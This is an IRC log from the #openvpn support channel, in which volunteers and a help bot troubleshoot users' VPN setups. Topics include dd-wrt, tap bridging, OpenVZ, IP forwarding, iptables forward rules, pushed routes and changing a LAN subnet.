02:11 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Remote host closed the connection]
02:11 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
02:15 -!- mattsl [~user@c-71-203-216-195.hsd1.tn.comcast.net] has quit [Read error: Connection reset by peer]
02:30 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:32 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Read error: Connection reset by peer]
02:32 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:48 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
02:50 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
02:57 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has quit [Quit: No Ping reply in 180 seconds.]
03:13 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has joined #openvpn
03:14 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
03:14 -!- erry_ [erry@freenode/staff/gms-slayer/erry] has left #openvpn []
03:15 < james41382> Can anyone help me here. Trying to setup openvpn on my router running dd-wrt. I am testing with my phone. Here is the log saying connection timed out. http://paste.debian.net/64960/ I was able to connect to 1194 udp with nc from my laptop. I checked my iptables and I think it's okay there.
03:16 < james41382> I'm on freenode all the time... I added this channel to my auto join list.. I'll be around. Thanks! =]
03:17 <@EugeneKay> The fact that you can `nc` to :1194 indicates that your server is listening on TCP
03:17 <@EugeneKay> While your phone's log indicates it is attempting UDP
03:17 <@EugeneKay> !configs
03:17 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
03:17 < james41382> EugeneKay: Okay.. one sec.
03:19 < james41382> EugeneKay: I am inexperienced so forgive me. Here is what I copied from the web interface of the router. It's listed under "additional config". http://paste.debian.net/64963/
03:19 <@EugeneKay> That seems to be UDP
03:20 < james41382> EugeneKay: Yes I verified that I can connect to the router on port 1194 with udp using netcat
03:20 <@EugeneKay> Didn't know it spoke udp
03:20 < james41382> Maybe I'm mistaken?
03:21 <@EugeneKay> Nope, I just learned somethign new.
03:21 < james41382> Connection refused with tcp.
03:21 <@EugeneKay> As it should be
03:22 < james41382> I don't know if I have a file called server.conf I can ssh to the router and look around the fs..
03:22 <@EugeneKay> Oh, it's dd-wrt.
03:22 <@EugeneKay> Blagh, that means it's assemblign your config stuff for you.
03:23 < james41382> I found the dir.
03:23 <@EugeneKay> I usually don't have the energy to debug those(and I don't know!). Sorry.
03:23 <@EugeneKay> But I'm sure somebody helpful will pop up if you're patient
03:23 < james41382> Okay no worries. I appreciate your time.
03:43 -!- james41382 [~james@unaffiliated/james41382] has quit [Remote host closed the connection]
03:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:48 < stemid> !def1
03:48 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
03:59 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has joined #openvpn
04:01 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
04:03 -!- AginLap [~AginLap@109.201.154.178] has joined #openvpn
04:04 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
04:10 -!- james41382 [~james@unaffiliated/james41382] has joined #openvpn
04:11 -!- xrosnight_ [~quassel@112.97.24.122] has joined #openvpn
04:12 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has quit [Ping timeout: 264 seconds]
04:14 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
04:14 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
04:17 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:30 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 265 seconds]
04:30 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has joined #openvpn
04:31 -!- xrosnight_ [~quassel@112.97.24.122] has quit [Ping timeout: 241 seconds]
04:42 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
04:46 -!- roentgen [~irc@its.psw.ro] has joined #openvpn
04:46 -!- roentgen [~irc@its.psw.ro] has quit [Changing host]
04:46 -!- roentgen [~irc@openvpn/community/support/roentgen] has joined #openvpn
05:09 -!- SviMik [~pIRCuser8@131.250.35.213.dyn.estpak.ee] has joined #openvpn
05:13 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
05:19 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
05:22 -!- xrosnight [~quassel@2001:250:3c02:3001:55ee:e3d3:7848:171] has quit [Remote host closed the connection]
05:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 264 seconds]
05:45 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
05:48 -!- JSharpe__ [~JSharpe@31.205.63.22] has joined #openvpn
05:49 -!- JSharpe_ [~JSharpe@31.205.63.22] has quit [Read error: Operation timed out]
06:18 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Operation timed out]
06:21 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
06:26 -!- matkor [~matkor@apn-31-2-40-223.dynamic.gprs.plus.pl] has joined #openvpn
06:29 < matkor> Hi! (not native english speaker). After starting openvpn server in server-bridge  10.20.1.66 255.255.255.0  10.20.1.1 10.20.1.254 / dev tap0 I should see device tap0 in ifconfig as up?
06:30 < matkor> I see:  TUN/TAP device tap0 opened,  Initialization Sequence Completed but no tap0 device :/
06:31 < matkor> 33: tap0: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN mode DEFAULT qlen 100
06:31 < matkor> It should not be DOWN, right ?
06:33 < SviMik> please !paste your !configs and !logs
06:35 < matkor> !paste
06:35 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
06:35 < matkor> !configs
06:35 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
06:41 < matkor> SviMik: Here it goes: http://pastebin.com/eTapkUye
06:45 -!- tty0x80 [~tty0x80@188.241.65.12] has joined #openvpn
06:45 < tty0x80> Is there a way to force the openvpn client to hide both "Auth Username" and "Auth Password"?
06:45 < tty0x80> While it's normal to have an auth file to make the process easier, the stdin approach is still preferable.
06:46 < tty0x80> I've found that this behaviour differs between versions, and as such, I'd like to know how to force-hide the inputs for any version.
06:59 -!- tty0x80 [~tty0x80@188.241.65.12] has quit [Ping timeout: 244 seconds]
07:53 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
07:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
07:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
08:17 -!- matkor [~matkor@apn-31-2-40-223.dynamic.gprs.plus.pl] has quit [Ping timeout: 272 seconds]
08:19 -!- kubbing [~kubbing@gprs12.vodafone.cz] has joined #openvpn
08:24 -!- kubbing [~kubbing@gprs12.vodafone.cz] has quit [Read error: Connection reset by peer]
08:29 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
08:48 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
08:48 -!- MrHanjrah [~aman@unaffiliated/mrhanjrah] has joined #openvpn
08:49 < MrHanjrah> !welcome
08:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
08:49 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:50 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 264 seconds]
08:50 < MrHanjrah> Hello, could anyone point me to any article to configure openvpn with ipsec on an openVZ VPS.
08:51 < SviMik> as I know, openvpn doesn't work on openvz
08:52 < MrHanjrah> Well, I have TUN/TAP enabled.
08:52 < SviMik> at least, without asking admin to create tap adapter
08:54 < MrHanjrah> Moreover, I am on a physical CentOS 6.4 box which have openVZ containers configured. So, basically I am the admin here. Just wanted to test openVPN with vz containers.
08:55 < Thermi> openvpn with ipsec
08:55 < Thermi> what cruelty is this
08:55 < SviMik> security :)
08:56 < SviMik> double security
08:56 < Thermi> ...
08:56 < Thermi> Well, kind of.
08:56 < Thermi> that one bit, when you're lucky won't save you
08:56 < Thermi> :D
08:56 < MrHanjrah> :P
08:57 < MrHanjrah> Okay, I can leave out ipsec for now, but I am unable to find any decent tutorial on the web for openVPN with openVZ.
08:57 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
08:59 < Thermi> MrHanjrah: IPsec in an OpenVZ container will be slow. :/
09:01 < SviMik> Thermi in which container it is fast?
09:01 < Thermi> In a container that doesn't force you to use IPsec in user land.
09:01 < Thermi> Because OpenVZ doesn't allow IPsec daemons to insert policies into the kernel, processing of the packets has to be done in user land, which is slower.
09:02 < MrHanjrah> Hmm, I am just trying to test openVPN on a test environment before actually implementing it on my server. So, any ideas are welcome :) I will leave Ipsec out of the picture then.
09:03 < SviMik> if you are admin, why don't you use xen for example?
09:03 < Thermi> I propose KVM.
09:03 < Thermi> :D
09:06 < MrHanjrah> I wish, I can surely install anything on the local testing machine with me here but I have VPS from another provider who eventually implements openVZ.
09:06 < Thermi> hm, okay
09:06 < MrHanjrah> I hvae found this while searching, http://kyl191.net/2012/09/getting-openvpn-to-work-on-an-openvz-vps/
09:06 < MrHanjrah> Hope that works for CentOS 6 as well.
09:07 <@krzee> !openvz
09:07 <@vpnHelper> "openvz" is (#1) http://wiki.openvz.org/VPN_via_the_TUN/TAP_device to learn bout openvz specific stuff with regards to openvpn or (#2) It is usually less painful to switch to a host with better virtualization technology, eg KVM or Xen
09:07 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:07 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:07 < MrHanjrah> krzee, I will once the contract finishes after 6 months :D
09:08 <@krzee> oh you thought i meant #2
09:08 <@krzee> i meant #1, since you posted random blog and i posted official docs
09:08 < MrHanjrah> Oh okay.
09:09 < SviMik> "to learn bout"?..... :)
09:09 <@krzee> i dont use openvz, but it may come in handy to have both links
09:09 -!- matkor [~matkor@apn-31-2-40-223.dynamic.gprs.plus.pl] has joined #openvpn
09:09 <@krzee> SviMik, should i change it to "to skim and then ask questions about..."
09:10 < MrHanjrah> Yes, I already had a look at number 1 and I configured TUN at my local end following that only.
09:10 < MrHanjrah> I will get back with the results of that tutorial and the one posted by krzee.
09:11 < MrHanjrah> Thanks for the help people :) really appreciate it.
09:12 < SviMik> have a nice day :) or night... or both...
09:14  * SviMik have chosen #2, and has 56 servers with xen\kvm right now
09:16 -!- AginLap [~AginLap@109.201.154.178] has quit [Quit: Leaving]
09:23 -!- matkor [~matkor@apn-31-2-40-223.dynamic.gprs.plus.pl] has quit [Ping timeout: 252 seconds]
09:30 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
09:30 < SupaYoshi> Heya
09:30 < SupaYoshi> I got my VPN to work with my OPENWRT router today, before I was using a router / modem from my ISP
09:30 < SupaYoshi> but I couldnt set a VPN route.
09:31 < SupaYoshi> Now the last time I was here, someone gave me a picture of what to do next, flowchart sorta thing.
09:31 < SupaYoshi> Could someone give me that? I need to add a route to my router I believe
09:31 <@krzee> !goal
09:31 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
09:31 < SupaYoshi> I would like to access the lan behind the server and not just the server.
09:31 <@krzee> !serverlan
09:31 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
09:31 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
09:32 < SupaYoshi> ipforward! check. :P the server psuhing the route its lan to clients, not so sure...
09:32 < SupaYoshi> router of the lan server needs a route added to it... not done yet.
09:33 <@krzee> isnt the server also the router for its lan?
09:33 <@krzee> (in your case)
09:36 < SupaYoshi> thnxx very clear :3
09:36 < SupaYoshi> No ;)
09:36 < SupaYoshi> I have a seperate server that is the OPENVPN server.
09:36 < SupaYoshi> And I aint running OpenVPN on the router itself because I never got that to work.
09:36 < SupaYoshi> So I have a OpeNVPN server which does many other tasks too, so thats fine for me
09:37 < SupaYoshi> Okay
09:38 < SupaYoshi> http://prntscr.com/237c8q
09:38 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
09:38 < SupaYoshi> I have IP forwarding on on the server.
09:38 < SupaYoshi> Not sure if I have to turn it on on OpenWRT too? and where?
09:38 < SupaYoshi> How do I check if IPForwarding is enabled? I forgot the command, :3
09:38 < SupaYoshi> sysctl net.ipv4.ip_forward
09:39 < SupaYoshi> net.ipv4.ip_forward = 1
09:39 < SupaYoshi> on the server.
09:39 < SupaYoshi> Do I also enable ip forwarding on the router?
09:41 -!- matkor [~matkor@apn-31-2-40-223.dynamic.gprs.plus.pl] has joined #openvpn
09:43 <@krzee> do you know what ip forwarding is?
09:44 <@krzee> because it's not really possible to have a router acting as a router without ip forwarding already enabled
09:44 <@krzee> with ip forwarding packets are allowed to come in 1 interface and out another, for acting as a router
09:44 <@krzee> without ip forwarding the packets would not pass through
09:45 <@krzee> check your server firewall
09:45 <@krzee> !iptables
09:45 <@vpnHelper> "iptables" is (#1) To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this. or (#2) See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG or (#3) These are just the basics to get you started
09:45 <@vpnHelper> as firewall design is beyond this channel's scope; you can also see #netfilter
09:45 <@krzee> err no ignore that
09:46 <@krzee> !netfilter
09:46 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
09:46 < SupaYoshi> I see
09:46 <@krzee> do that ^ and pastebin it
09:46 < SupaYoshi> Thnx. :)
09:46 < SupaYoshi> Yeah you know, I used the modem firewall earlier till today
09:46 < SupaYoshi> And em, the OpeNWRT firewall is kind of... advanced
09:46 < SupaYoshi> If you know what I mean
09:46 <@krzee> !linipforward
09:46 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
09:46 <@krzee> try #3
09:47 < SupaYoshi> Im first gonna give you iptables-save ok?
09:48 < SupaYoshi> damn
09:48 < SupaYoshi> gives a whole list
09:48 < SupaYoshi> ill just show the GUi thing
09:49 < SupaYoshi> http://prntscr.com/237fbv
09:49 <@vpnHelper> Title: Screenshot by Lightshot (at prntscr.com)
09:50 -!- matkor [~matkor@apn-31-2-40-223.dynamic.gprs.plus.pl] has quit [Quit: Z prawd studentek medycyny: "bez kiły nie ma zaliczenia"]
09:50 -!- Devastator [~devas@unaffiliated/devastator] has left #openvpn []
09:50 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
09:51 < SupaYoshi> And this is what ya asked for :D http://pastebin.com/HhwRk0QC
09:51 -!- mback2k [~freenode@89.238.84.46] has joined #openvpn
09:52 < SupaYoshi> krzee: should I just do what you said on 3? ->  iptables -I FORWARD -i tun+ -j ACCEPT
09:52 <@krzee> yep
09:52 < SupaYoshi> okay anything bad there btw?
09:53 < SupaYoshi> In the pastebin ors creenshot?
09:53 <@krzee> no idea way too much for me to read
09:53 < SupaYoshi> Yeah i figured. :)
09:53 < SupaYoshi> hehe
09:53 <@krzee> and i dont use their gui
09:53 < SupaYoshi> Ah
09:53 <@krzee> i removed the web gui from my openwrt installs
09:53 < SupaYoshi> lawl
09:53 <@krzee> but either way, give that command a shot
09:53 < SupaYoshi> there we go ;)
09:53 <@krzee> it will short circuit anything that blocks ip forwarding
09:54 < SupaYoshi> is it safe :P lawl (jk) kinda interested in what it does too
09:54 <@krzee> adds a rule to the start to allow ip forwarding on tun device
09:54 <@krzee> so nothing after will block it
09:55 < SupaYoshi> nope
09:55 < SupaYoshi> okay i must have gone wrong somewhere. ><
09:56 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
09:56 < SupaYoshi> I added  iptables -I FORWARD -i tun+ -j ACCEPT to the router ;)
09:56 <@krzee> heh
09:56 <@krzee> your router is not an issue yet
09:56 <@krzee> your server is
09:56 < SupaYoshi> ><
09:56 < SupaYoshi> crap!
09:56 < SupaYoshi> so i added this to the router, how do i undo? :P
09:56 <@krzee> unless you moved further in the flowchart
09:56 < SupaYoshi> no no
09:56 < SupaYoshi> i misunderstood ya
09:56 < SupaYoshi> sorry
09:56 <@krzee> your router doesnt even have a tun device, just forget about it
09:56 < SviMik> iptables -D
09:57 <@krzee> what?
09:57 <@krzee> lol
09:57 < SupaYoshi>  iptables -I FORWARD -i tun+ -j ACCEPT <- I wanna remove this rule from my router
09:57 <@krzee> i never said that
09:57 < SupaYoshi> lol
09:57 <@krzee> your router doesnt even have a tun device, just forget about it
09:57 < SupaYoshi> Ik ik
09:57 <@krzee> so move on
09:57 < SupaYoshi> Ah beause its not there, its ok
09:57 < SupaYoshi> hehe i got ya ;) alright lets go
09:57 < SupaYoshi> So I add this to the server ;)
09:57 < SupaYoshi>  iptables -I FORWARD -i tun+ -j ACCEPT
09:57 < SupaYoshi> right? :D
09:57 <@krzee> besides it'll go away when you reboot
09:57 <@krzee> yes
09:58 < SupaYoshi> done
09:58 < SupaYoshi> lemme ping
09:58 -!- mback2k is now known as mback2k_
09:58 < SupaYoshi> might i have to restart the vpn?
09:58 <@krzee> nope
09:58 < SviMik> to remove: iptables -D FORWARD -i tun+ -j ACCEPT
09:58 < SupaYoshi> ah =/ well then it doesnt work
09:58 < SupaYoshi> @viMik thanks!
09:58 <@krzee> so you added the forward rule to your server
09:58 -!- mback2k_ is now known as mback2k
09:59 <@krzee> you also checked the server has ip forwarding enabled
09:59 < SupaYoshi> from the device which is in another location, I can do this ping 10.8.0.1
09:59 <@krzee> right?
09:59 < SupaYoshi> but I cannot ping 192.168.1.100
09:59 < SupaYoshi> I added this rule to the server:  iptables -I FORWARD -i tun+ -j ACCEPT
09:59 < SupaYoshi> should i show you my ifconfig?
09:59 < SupaYoshi> of the server?
09:59 <@krzee> no, when you showed me the firewall, was that the server?
09:59 < SupaYoshi> no
09:59 < SupaYoshi> that was the router
09:59 <@krzee> heh
10:00 <@krzee> ok show me the servers firewall
10:00 < SupaYoshi> yeah sorry... i misunderstood ya from the start.
10:00 < SupaYoshi> okay ;)
10:00 <@krzee> !netfilter
10:00 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
10:01 < SupaYoshi> http://pastebin.com/W8WiLfsu
10:01 < SupaYoshi> yeah hahaha i was already scrolling up to find that command again :P sorry took alittl
10:02 <@krzee> cat /proc/sys/net/ipv4/ip_forward
10:02 <@krzee> on the server
10:02 < SupaYoshi> 1
10:02 <@krzee> !configs
10:02 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
10:02 < SupaYoshi> sure
10:03 <@krzee> im guessing the route wasnt pushed
10:03 <@krzee> but will see soon :D
10:03 < SupaYoshi> yeah, i added that to the config. :)
10:03 < SupaYoshi> after following the flowchart
10:03 < SupaYoshi> but lets see
10:03 <@krzee> oh did you restart the vpns after that?
10:03 <@krzee> you dont need to restart the vpn for firewall rules, but for stuff changing in the configs you do
10:04 < SupaYoshi> F*CK
10:04 < SupaYoshi> http://pastebin.com/tMPQw2a8
10:04 < SupaYoshi> yeah, i did restart.....
10:04 < SupaYoshi> But i didnt see this......
10:04 < SupaYoshi> lawl
10:04 < SupaYoshi> rule 11 to 14.
10:05 < SupaYoshi> i added rule 11 just now.. but that one should be removed i suppose
10:05 < SupaYoshi> and I should add the route of my new internal lan
10:05 < SupaYoshi> correct?
10:05 <@krzee> SupaYoshi> but I cannot ping 192.168.1.100
10:05 <@krzee> you didnt push a route to it
10:05 < SupaYoshi> Yeah exactly.
10:05 < SupaYoshi> And one route should go.
10:05 < SupaYoshi> sorry mate, I forgot,
10:05 <@krzee> also, what are: 192.168.2.0/24 and 10.10.10.0/24 ?
10:05 < SupaYoshi> push "route 192.168.2.0 255.255.255.0" <- should be push "route 192.168.1.0 255.255.255.0"
10:05 < SupaYoshi> 192.168.2.0/24 was my old subnet?
10:06 < SupaYoshi> And 10.10.10.0 was in the flowchart
10:06 <@krzee> yes, but also note that you will have issues whenever a client connects from 192.168.1.0/24
10:06 < SupaYoshi> yeah i read about that.
10:06 <@krzee> if you change the server lan subnet to something uncommon you will not have that issue
10:06 < SupaYoshi> Why is that an issue?
10:06 <@krzee> !samesubnet
10:06 <@vpnHelper> "samesubnet" is (#1) clients can not connect to a server pushing its lan if on the same subnet. you can only reach your subnet on layer2 or through your gateway, when you create a route for it you will try to reach your gateway over the vpn which dies because you cant reach your gateway or (#2) you can use --client-nat if on 2.3 to work around changing the subnet, but you should still just change the
10:06 <@vpnHelper> subnet
10:06 -!- mback2k [~freenode@89.238.84.46] has quit [Remote host closed the connection]
10:07 < SupaYoshi> but i dunt wanna change the subnet >< meh
10:07 <@krzee> then you should have chosen something random back when you setup the lan
10:07 < SupaYoshi> which was last night
10:07 <@krzee> changing it now will be easiest? how big is the lan?
10:07 < SupaYoshi> well fine, have it your way, ;) ill just do what yu said
10:07 <@krzee> is the lan using static ips?
10:07 < SupaYoshi> :P ah around 10-20 devices.
10:07 < SupaYoshi> includin smartphones adn so
10:07 < SupaYoshi> But i was just done giving everything its own IP
10:08 < SupaYoshi> x_X
10:08 <@krzee> smartphones wont be on static ips
10:08 < SupaYoshi> i give em static IPs
10:08 < SupaYoshi> cus im OCD
10:08 <@krzee> haha
10:08 <@krzee> time to switch! ;]
10:08 -!- mback2k [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
10:08 <@krzee> ocd it up!
10:08 < SupaYoshi> But i give em static ips in the router
10:08 < SupaYoshi> i aitn stupid
10:08 < SupaYoshi> <_<
10:08 <@krzee> ahh so you give them static address mapping in dhcp
10:08 <@krzee> so just 1 thing to change ;]
10:08 < SupaYoshi> yeah
10:08 < SupaYoshi> :D
10:09 < SupaYoshi> yeah but em I also need to change the gateway address then I think
10:09 < SupaYoshi> its at 192.168.1.1 now.
10:09 <@krzee> !randomsubnet
10:09 <@vpnHelper> "randomsubnet" is http://scarydevilmonastery.net/subnet.cgi for a random !1918 subnet
10:10 < SupaYoshi> i fuckin hate that subnet..
10:10 < SupaYoshi> there is no way I can rememebr my IP on that :o
10:10 < SupaYoshi> But okay okay...
10:10 < SupaYoshi> Em..
10:11 < SupaYoshi> how about 10.15.1.0/24?
10:11 < SupaYoshi> or isnt that random enough?
10:13 < SupaYoshi> krzee: any idea whats the easiest / safies way to change the subnet on OpenWRT?
10:14 < SupaYoshi> step by step, cus I dunt wanna mess up and having to reset atm, or recable / set static ips to reach ma router atm ><
10:16 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
10:17 <@krzee> you use web gui, i use flat files
10:18 < SupaYoshi> yeah, i cant find it in the stupid web gui
10:18 -!- trumee [~parul@149.12.5.187] has quit [Ping timeout: 244 seconds]
10:18 <@krzee> 10.15.1 is plenty random, anything you dont often see when out in the world
10:18 < SupaYoshi> imunder interfaces -> LAN
10:18 <@krzee> i dont know, like i said i dont use it
10:18 < SupaYoshi> hehe yeah cant i just edit it in the flat files?
10:18 <@krzee> #openwrt probably knows :-p
10:18 < SupaYoshi> Like yu do.
10:18 < SupaYoshi> i suppose openwrt web gui reads the flat files.
10:19 <@krzee> you dont want inconsistencies
10:19 < SupaYoshi> okay
10:19 < SupaYoshi> asking. hold on
10:19 <@krzee> i bypass their entire UCI/LUCI system of configs, but im also kinda advanced and i know the reprocussions (and they dont matter since i wont try to use their config methods later)
10:21 -!- trumee [~parul@93.186.157.163] has joined #openvpn
10:21 < SupaYoshi> got it
10:21 < SupaYoshi> http://pastebin.com/e6xZ4JqV
10:22 < SupaYoshi> 10.15.1.0/24 still means I can assign 256 different DHCP addresess right?
10:22 < SupaYoshi> I laerned something like that before...
10:22 <@krzee> 254, but ya
10:22 < SupaYoshi> yah
10:22 <@krzee> (you cant assign the network or broadcast addresses)
10:22 <@krzee> !cidr
10:22 < SupaYoshi> Oh wait a sec.
10:22 <@vpnHelper> "cidr" is http://www.oav.net/mirrors/cidr.html
10:22 < SupaYoshi> got ya
10:23 < SupaYoshi> Hey question...
10:23 < SupaYoshi> I have a modem which i can reach at 192.168.2.254 atm
10:23 < SupaYoshi> I cannot change that address
10:23 < SupaYoshi> Can I still reach taht if I am in 10.15.1.0/24?
10:23 <@krzee> my crystal ball is broken? but did you do anything specisl to it to reach it at 192.168.1.0/24
10:24 < SupaYoshi> HAHAHAHA
10:24 < pekster> SupaYoshi: Of course. See !serverlan or !clientlan
10:24 < SupaYoshi> emmmmmm
10:24 < SupaYoshi> Noppe, but its just connected to the WAN port of the router
10:24 < SupaYoshi> but i was wondering cus i was on 192.168.x. and the modem was at 192.168.x I thought that mattered
10:24 < SupaYoshi> or something... nvm i guess
10:25 < pekster> Depends on "x"
10:25 < SupaYoshi> well I was on 192.168.1.x and modem on 192.168.2.x
10:25 < SupaYoshi> And i could reach it.
10:25 < SupaYoshi> So if I change it to 10.15.1.x
10:25 < SupaYoshi> Im kind of like... will it work :P
10:26 < SupaYoshi> So yes or no? :P
10:26 < SupaYoshi> I guess im just being silly but ya know, before I fuck up eveyrthing again >< please calm me down
10:27 < FriedZombie> yes you can still reach 192.168.2.x behind the wan interface of your router
10:27 < SupaYoshi> thanks FriedZombie :D
10:27 -!- ade_b [~Ade@dslb-092-078-250-144.pools.arcor-ip.net] has joined #openvpn
10:27 -!- ade_b [~Ade@dslb-092-078-250-144.pools.arcor-ip.net] has quit [Changing host]
10:27 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
10:27 < SupaYoshi> yeah i was thinking that, but just to be sure ya know...
10:27 < SupaYoshi> It might be a stupid question ><
10:27 < SupaYoshi> okay here we go lets change range and hear my brother swearing
10:28 -!- mback2k [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Remote host closed the connection]
10:28 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Read error: Connection reset by peer]
10:29 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
10:29 -!- mback2k [~freenode@2a00:1828:2000:378:1337:0:59ee:5431] has joined #openvpn
10:29 < FriedZombie> and hear your brother screaming yet?
10:30 < SupaYoshi> Nah
10:30 < SupaYoshi> He hasnt noticed his IP has changed
10:30 < SupaYoshi> lawl hes doign maths
10:30 < SupaYoshi> so it will take a littl
10:30 < SupaYoshi> lets change the static addresses
10:32 < SupaYoshi> okay lemme reassign ma own ip
10:36 -!- SupaYoshi1 [~supayoshi@ip4da5d319.direct-adsl.nl] has joined #openvpn
10:36 < SupaYoshi1> yeah
10:36 < SupaYoshi1> back
10:36 < SupaYoshi1> haha sorry username was stuck here
10:37 < SupaYoshi1> :3 got everything working agian :D
10:37 -!- SupaYoshi [~supayoshi@ip4da5d319.direct-adsl.nl] has quit [Ping timeout: 272 seconds]
10:38 < SupaYoshi1> hey
10:38 < SupaYoshi1> back to pushing routes in the server.conf
10:39 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
10:39 < SupaYoshi1> can i remove, push "route 192.168.2.0 255.255.255.0"
10:39 -!- MrHanjra1 [~aman@117.207.179.233] has joined #openvpn
